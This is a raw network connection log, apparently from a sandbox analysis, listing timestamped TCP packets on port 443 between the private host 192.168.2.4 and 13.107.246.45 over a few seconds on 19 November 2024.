Nov 19, 2024 19:15:00.719727993 CET	49847	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.719791889 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.719806910 CET	49851	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.719841003 CET	443	49851	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.720088005 CET	49851	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.720176935 CET	49847	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.720192909 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.720292091 CET	49851	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.720303059 CET	443	49851	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.730398893 CET	443	49848	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.730458021 CET	443	49848	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.730648041 CET	49848	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.730681896 CET	49848	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.730691910 CET	443	49848	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.730703115 CET	49848	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.730709076 CET	443	49848	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.734302998 CET	49852	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.734325886 CET	443	49852	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.734395981 CET	49852	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.734513998 CET	49852	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.734525919 CET	443	49852	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.833319902 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.833374977 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.833451986 CET	49847	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.833494902 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.833784103 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.833852053 CET	49847	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.833980083 CET	49847	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.834012985 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.834038973 CET	49847	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.834054947 CET	443	49847	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.837244987 CET	49853	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.837282896 CET	443	49853	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:00.837395906 CET	49853	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.837512016 CET	49853	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:00.837519884 CET	443	49853	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.311803102 CET	443	49849	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.312355042 CET	49849	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.312386990 CET	443	49849	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.313002110 CET	49849	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.313016891 CET	443	49849	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.347197056 CET	443	49850	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.347745895 CET	49850	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.347769022 CET	443	49850	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.348222017 CET	49850	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.348227024 CET	443	49850	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.360826015 CET	443	49851	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.361515999 CET	49851	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.361545086 CET	443	49851	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.362225056 CET	49851	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.362231016 CET	443	49851	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.375391960 CET	443	49852	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.383457899 CET	49852	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.383477926 CET	443	49852	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.384182930 CET	49852	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.384190083 CET	443	49852	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.412452936 CET	443	49849	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.412563086 CET	443	49849	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.412739992 CET	49849	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.412811041 CET	49849	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.412811041 CET	49849	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.412833929 CET	443	49849	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.412847042 CET	443	49849	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.415535927 CET	49854	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.415572882 CET	443	49854	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.415893078 CET	49854	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.416043043 CET	49854	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.416062117 CET	443	49854	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.458282948 CET	443	49850	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.458432913 CET	443	49850	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.458517075 CET	49850	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.458587885 CET	49850	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.458606005 CET	443	49850	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.458616972 CET	49850	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.458622932 CET	443	49850	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.461334944 CET	49855	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.461370945 CET	443	49855	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.461733103 CET	49855	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.462099075 CET	49855	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.462111950 CET	443	49855	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.470458031 CET	443	49851	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.470526934 CET	443	49851	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.470824957 CET	49851	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.470947027 CET	49851	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.470947027 CET	49851	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.470963001 CET	443	49851	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.470972061 CET	443	49851	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.473268032 CET	49856	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.473285913 CET	443	49856	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.473716974 CET	49856	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.473761082 CET	49856	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.473769903 CET	443	49856	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.479341030 CET	443	49852	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.479418039 CET	443	49852	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.479677916 CET	49852	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.479736090 CET	49852	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.479736090 CET	49852	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.479749918 CET	443	49852	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.479760885 CET	443	49852	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.482604980 CET	49857	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.482633114 CET	443	49857	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.483144045 CET	49857	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.483365059 CET	49857	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.483378887 CET	443	49857	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.529493093 CET	443	49853	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.530035019 CET	49853	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.530055046 CET	443	49853	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.530514956 CET	49853	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.530519009 CET	443	49853	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.631937981 CET	443	49853	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.632081032 CET	443	49853	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.632855892 CET	49853	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.632924080 CET	49853	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.632939100 CET	443	49853	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.632965088 CET	49853	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.632971048 CET	443	49853	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.635931015 CET	49858	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.635953903 CET	443	49858	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:01.636085987 CET	49858	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.636204004 CET	49858	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:01.636209011 CET	443	49858	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.103401899 CET	443	49855	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.109558105 CET	49855	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.109580040 CET	443	49855	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.110132933 CET	49855	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.110138893 CET	443	49855	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.111946106 CET	443	49856	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.112874031 CET	49856	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.112890005 CET	443	49856	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.113379955 CET	49856	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.113385916 CET	443	49856	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.134697914 CET	443	49857	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.135338068 CET	49857	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.135359049 CET	443	49857	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.135370970 CET	443	49854	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.135721922 CET	49857	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.135729074 CET	443	49857	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.135965109 CET	49854	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.135984898 CET	443	49854	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.136363983 CET	49854	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.136370897 CET	443	49854	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.211962938 CET	443	49855	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.212111950 CET	443	49855	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.212318897 CET	49855	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.212354898 CET	49855	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.212354898 CET	49855	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.212367058 CET	443	49855	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.212373018 CET	443	49855	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.214970112 CET	49859	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.215001106 CET	443	49859	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.216012001 CET	49859	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.216103077 CET	49859	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.216113091 CET	443	49859	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.222337008 CET	443	49856	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.222408056 CET	443	49856	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.222541094 CET	49856	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.222780943 CET	49856	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.222780943 CET	49856	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.222789049 CET	443	49856	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.222795963 CET	443	49856	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.225357056 CET	49860	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.225414991 CET	443	49860	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.225600004 CET	49860	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.225641012 CET	49860	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.225651026 CET	443	49860	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.236660957 CET	443	49857	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.236722946 CET	443	49857	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.236812115 CET	443	49854	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.236876011 CET	443	49854	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.236892939 CET	49857	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.236892939 CET	49857	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.236920118 CET	49857	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.236920118 CET	49854	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.236934900 CET	443	49857	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.237065077 CET	49854	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.237071037 CET	443	49854	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.237102985 CET	49854	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.237108946 CET	443	49854	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.238960981 CET	49861	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.238995075 CET	443	49861	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.239150047 CET	49862	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.239151001 CET	49861	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.239182949 CET	443	49862	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.239237070 CET	49861	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.239239931 CET	49862	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.239247084 CET	443	49861	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.239353895 CET	49862	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.239373922 CET	443	49862	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.277498960 CET	443	49858	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.277973890 CET	49858	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.277993917 CET	443	49858	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.278492928 CET	49858	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.278496981 CET	443	49858	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.384006977 CET	443	49858	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.384093046 CET	443	49858	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.384154081 CET	49858	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.384428024 CET	49858	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.384443045 CET	443	49858	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.384598970 CET	49858	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.384605885 CET	443	49858	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.389050007 CET	49863	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.389095068 CET	443	49863	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.389209986 CET	49863	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.389451981 CET	49863	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.389468908 CET	443	49863	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.865683079 CET	443	49859	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.866384983 CET	49859	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.866411924 CET	443	49859	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.866970062 CET	49859	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.866976023 CET	443	49859	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.895204067 CET	443	49860	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.895602942 CET	49860	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.895639896 CET	443	49860	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.896171093 CET	49860	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.896183968 CET	443	49860	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.897198915 CET	443	49862	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.897738934 CET	49862	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.897746086 CET	443	49862	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.897936106 CET	49862	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.897941113 CET	443	49862	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.965663910 CET	443	49859	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.965806007 CET	443	49859	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.965857029 CET	49859	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.965929031 CET	49859	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.965953112 CET	443	49859	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.965967894 CET	49859	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.965976000 CET	443	49859	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.969906092 CET	49864	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.970000029 CET	443	49864	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.970092058 CET	49864	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.970235109 CET	49864	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.970256090 CET	443	49864	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.992130041 CET	443	49861	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.992510080 CET	49861	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.992525101 CET	443	49861	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.992906094 CET	49861	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.992912054 CET	443	49861	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.996304035 CET	443	49862	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.996416092 CET	443	49862	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.996490002 CET	49862	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.996599913 CET	49862	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.996619940 CET	443	49862	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.996673107 CET	49862	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.996680975 CET	443	49862	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.996947050 CET	443	49860	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.997059107 CET	443	49860	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.997117996 CET	49860	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.997174025 CET	49860	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.997179985 CET	443	49860	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.997189999 CET	49860	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.997194052 CET	443	49860	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.999794960 CET	49865	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:02.999829054 CET	443	49865	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:02.999906063 CET	49865	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.000060081 CET	49865	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.000078917 CET	443	49865	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.000211954 CET	49866	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.000317097 CET	443	49866	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.000541925 CET	49866	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.000543118 CET	49866	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.000622034 CET	443	49866	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.023555994 CET	443	49863	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.023910046 CET	49863	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.023932934 CET	443	49863	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.024336100 CET	49863	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.024342060 CET	443	49863	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.096837997 CET	443	49861	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.096915960 CET	443	49861	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.096962929 CET	49861	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.097227097 CET	49861	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.097240925 CET	443	49861	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.097296000 CET	49861	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.097307920 CET	443	49861	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.100524902 CET	49867	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.100568056 CET	443	49867	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.100636005 CET	49867	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.100825071 CET	49867	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.100845098 CET	443	49867	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.125368118 CET	443	49863	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.125436068 CET	443	49863	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.125480890 CET	49863	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.125709057 CET	49863	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.125709057 CET	49863	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.125720978 CET	443	49863	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.125730038 CET	443	49863	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.128586054 CET	49868	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.128640890 CET	443	49868	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.128714085 CET	49868	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.128890038 CET	49868	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.128904104 CET	443	49868	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.634324074 CET	443	49866	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.634860039 CET	49866	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.634957075 CET	443	49866	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.635353088 CET	49866	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.635370016 CET	443	49866	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.644203901 CET	443	49865	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.644562960 CET	49865	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.644628048 CET	443	49865	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.644913912 CET	49865	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.644927979 CET	443	49865	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.646508932 CET	443	49864	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.646819115 CET	49864	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.646838903 CET	443	49864	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.647164106 CET	49864	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.647176027 CET	443	49864	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.682807922 CET	443	49868	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.683131933 CET	49868	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.683156967 CET	443	49868	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.683543921 CET	49868	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.683552027 CET	443	49868	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.733467102 CET	443	49866	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.733555079 CET	443	49866	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.733716965 CET	49866	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.733773947 CET	49866	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.733804941 CET	443	49866	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.737253904 CET	49869	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.737349987 CET	443	49869	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.737505913 CET	49869	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.737699986 CET	49869	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.737730026 CET	443	49869	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.743818998 CET	443	49865	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.743890047 CET	443	49865	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.743962049 CET	49865	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.744083881 CET	49865	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.744122028 CET	443	49865	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.744149923 CET	49865	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.744165897 CET	443	49865	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.746623039 CET	49870	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.746659994 CET	443	49870	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.746817112 CET	49870	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.746948957 CET	49870	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.746962070 CET	443	49870	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.752408981 CET	443	49864	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.752470970 CET	443	49864	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.752619028 CET	49864	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.752772093 CET	49864	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.752772093 CET	49864	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:03.752791882 CET	443	49864	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.752814054 CET	443	49864	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:03.754805088 CET	49871	443	192.168.2.4	13.107.246.45
